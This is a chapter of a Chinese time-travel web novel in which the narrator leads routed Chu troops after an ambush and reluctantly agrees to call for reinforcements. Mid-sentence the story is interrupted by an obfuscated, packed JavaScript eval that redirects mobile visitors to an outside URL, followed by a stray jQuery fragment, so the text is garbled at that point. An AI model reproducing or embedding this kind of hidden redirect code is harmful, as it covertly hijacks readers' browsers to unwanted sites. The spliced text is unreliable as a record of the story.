孟阳抡起长剑,在人群中杀出一条血路,将战鼓边已经咽气的士兵踢开,拿起鼓槌猛烈敲打,众人得了退兵信号,开始突围而出。
屈重护着我往江边狂奔,江水尚未退回原来的位置,但表面已是风平浪静,楚兵没有退路,只能一头扎进去往对岸游。
一进去才知道糟了,“静水流深”这句话不是瞎说的,涨水过后,表面虽是平静,下面却是激流涌动,众人被冲着往下游方向转移,屈重看出我水性不佳,所以一直携着我的胳膊带了我一路。
跑到对岸,人员早就已经七零八落,还好百濮人没有追过江,他们在对岸“嗷嗷”叫着,手舞足蹈,宣示着他们此战的胜利。
我带着残兵又退了十来里路,直到见到一个较为隐蔽的树林子,才传令众人暂时歇息此处。
一眼望去,怎一个惨字了得。
丢盔弃甲,满脸血污的就不说了,满眼皆是……还有丢胳膊断腿的,被捅了几刀鲜血直淌的,一个个的眼神里都写满了惶恐,看得我心里凄风苦雨席卷肆掠。
孟阳在最后面逃了出来,背上已经被箭射成了筛子,但是命由天定这句话我不得不信,那么多箭刺进去,硬是没有一个刺中要害。屈重拿出小刀帮他一支支剜下来,虽然没有伤及性命,但人也是废了大半,连站都站不稳。
我活到这把岁数,一直以为这辈子最大的挫折就是等高考分数那晚——那晚之前,我还在为报考清华还是北大而苦恼,那晚过后,我觉得人生还是不做预想的好,凡是我所想的,没一个实现,凡是我没想过的,总是一个个从天而降。
哦,对了,等分数那晚我还被撺掇着对我那个初恋表白了,我发短信对她说:“我喜欢你很久了,我也知道你喜欢我,我觉得今天正是表白的时候。”老子等了三个小时,终于收到了她的回复:“我其实一直把你当朋友来着。”
老子的初恋和前程梦,在那天晚上一并碎了……
但现在看着眼前一个个哀丧哭嚎,涕泪横流的绝望样,我才知道,那晚的挫折才哪儿跟哪儿,跟现在比,简直轻如鸿毛不值一提。
粮草被百濮人一并抢走,所有人都没吃的,干坐着。屈重拔完孟阳的箭筛子,走过来对我道:“公子,我们去僻静处说。”
我便随他走到无人的角落,屈重问道:“公子,你如今打算怎么办?”
我方才暗自嗟叹时脑袋也没闲着,便把唯一想到的方案说了出来:“派几个机灵武艺好的,去看看斗渤、吕莫、石州都被撵到什么地方去了,然后想办法让军队会合一处,夺回公子玦。”
屈重神色凝重,不言语。
我苦笑一声:“都这个时候了,你有什么计策就直说,难道真要等百濮蛮子把公子玦剁碎了才开金口?”
屈重躬身一拜:“末将不敢。”
他直起腰,又道:“方才我目测了一下,北门起码有一万百濮士兵,如果四个城门皆有埋伏,那百濮王此次出兵绝对不少于两万人,百濮虽是大型部族,但可用的军队却不多。如今一次性出两万兵马来夺一个边境小城,我总感觉这其中有问题。”
他定定直视着我:“我觉得还是派人回去,通知大王派兵增援的好。”
我终于理解他方才为什么欲言又止了。
“不行。”
“公子!”
“不到万不得已,绝对不能让大王知道。”
屈重紧抿嘴唇,双目似刀。
我心乱如麻,如果让楚王知道,公子玦必死无疑,就算百濮王不杀他,楚王也不会放过他,就算楚王放过他,我觉得按他的性子,也会一剑抹了脖子,来给此次中伏兵败做个交代。
该死的楚将传统,若是大战败了,三军统帅会自刎谢罪,就连楚王也不例外。
我一拳头打在边上的大树干上,窝火的紧:“如果楚王出兵,这就不算小战了,公子玦必死无疑。”
屈重猛然加大声量,透出一股泰山压顶的气势:“公子,倘若百濮王真的纠集全部族之兵来攻打楚国,这就不是小事,是关乎我边疆安危的大事!公子莫要因为个人私情,分不清轻重。”
我转过身直勾勾看着他:“你从何处看出来我是出自私情?”
而且,哪他妈有私情!
我今天憋出来的一肚子火直往上窜,老子穿过来是度假享福的,结果不仅被骂成断袖,还要领兵作战来这里当炮灰,那非洲辫廪生看上去是个实打实的大佬,真要打起来,上赶着去送死还是老子我,我才是一肚子心酸委屈不知道往何处说。
我从腰间抽出令牌,放到屈重手中:“你计谋过人,这个兵你来带,我听你的。”
屈重脸色霎时铁青,急忙单膝跪下:“是末将唐突,还请公子责罚。”
我冷笑道:“责罚可不敢,你是要接过这个左军帅印,还是听我的,二选其一,痛快点。”
屈重嘴角抿出了一股坚毅的味道:“自然听公子号令,作为家臣,为主公赴死才是此生唯一的道路。”
我兀地后牙槽发酸,他说的恳切悲愤,说的老子都觉得自己简直就是戏文里那些酒囊饭袋的世家公子哥。
但是平心而论,站在我的立场上,这些人打来打去真的和我无关,我站在历史的高度上看他们,除了觉得傻叉还是觉得傻叉。我很想对他们说,几千年后,你们都说普通话,都写简体字,都要坐高铁,都要在每年的双十二在网上拼手速……哦,还有,没准儿你屈重的后人娶得就是那个廪生的后人,五湖四海会变作一家……
这些话我只能吞进肚子里,但是出于对屈云笙的那点交情,也出于对公子玦欠下的救命之恩,我绝对不能看着他白白送死。
我扶起屈重:“先按我的做,找人,集合全军再做定夺。”
屈重拜道:“是,末将遵命。”
夜里,我在树林里喂蚊子,肚子叫成了一首歌,周围的士兵不敢放松警觉,都抓着戈戟观察着林外的动静。
月上树梢头之时,我派去的人终于回来了。
“公子,找到斗渤将军了,他在外面。”
我急忙出去,看着夜月下黑压压一片人,是若敖氏的军队,他们每个人口中都含着一个小物件,一大队人马鸦雀无声,斗渤被两名士兵抬着,一只胳膊晃晃悠悠,两条腿也血淋淋的触痛了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477446|141937||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我的双目。
我急忙上前问道:“怎么会伤成这样?”
士兵把嘴里的小物件取出来,擦一擦放进腰兜里:“我们中了埋伏,一路反杀过去,对方有个了不得的武将,斗渤将军和他比试时,有几个士兵上前偷袭,所以……”
斗渤啐了他一口:“说重点,废话凭多。我输了,就这样,然后跑到北门看你们落荒而逃,就先躲了起来,你派来的兵找到我,才知道你们躲在这里,我让他们衔枚在口,谁说话就宰了谁,不过那百濮蛮子好像也无意要追杀我们,一路过来也没见什么巡防。”
士兵纷纷把他们嘴里的枚吐出来,我见他们虽然输的惨,但一个个看去精气神还在,绝对没有林子里那堆屈氏和王族的残兵败将丧到一缕活气都不剩的表情,心下确实佩服。
“先进去,治伤,然后再说下面怎么办?”
士兵正要把斗渤往里面抬,我派去找吕莫和石州的小兵也回来了,不过只回来一个,老子一共派去了九个。
小兵脖颈脸上全是血,手臂上几道长长的剑伤豁开了大口子,血染满袖,滴答答往下坠,浸湿了下面的土。
小兵抱着我的腿,瑟瑟发抖:“四公子,那石州叛变了,他跟百濮蛮子是一路的,吕莫被他杀了,尸首被挂在了城墙上,还有……”
我太阳穴快胀爆了,抓着他的衣领,瞠目欲裂:“还有什么?”
小兵:“还有,这是那个百濮王让我带给四公子的。”
他从衣裳里摸出了一块带血的布,老子扯过布一打开,一只小指头从里面落了出来,吓了我一身汗,老子展开布从上往下扫了一眼,然后,彻底懵住了。
这他娘的都说的啥,为什么我一个字也看不懂……
斗渤见我懵住了,问道:“上面说的啥?”
我不言语,心里默默流泪。
斗渤不耐烦的扯过布自己看,看完怒吼道:“他以为他是谁,敢来和我们谈条件,立马传信给大王和令尹大人,派一万若敖大军前来增援,我非踏平他百濮老巢不可。”
我急忙拦住他:“等等,还没到通知大王的地步,或许我们还可以再攻一次城。”
斗渤把血布扔到地上:“还攻个屁,他们这次起码带了两万多人,石州那厮如果投降,说不定阜山那边已经沦陷了,吕莫被杀,阳丘还不知情,如果百濮王派兵偷袭阳丘,阳丘也岌岌可危,这可不是你我这点兵力能抵抗的。”
我道:“可是公子玦的死活……”
斗渤呸了一口:“都这时候了你还想着你的相好,他两番出战都兵败如此,你以为大王真的会用十座边境城郭来换他一条命!”
敢情那血布上说的是交换条件。
而且还是十座边境城池!
百濮王真的不是故意激怒楚王的?
四周静寂无声,都在等着我的回答,老子骑虎难下,手心全是汗。
屈重恰逢其时的补充道:“公子玦被俘,中军无将,楚国以左为上,眼下三军主帅就是四公子,还请四公子下令。”
我沉默了十秒,放弃了挣扎,咬牙道:“好,派人回去,请求援军。”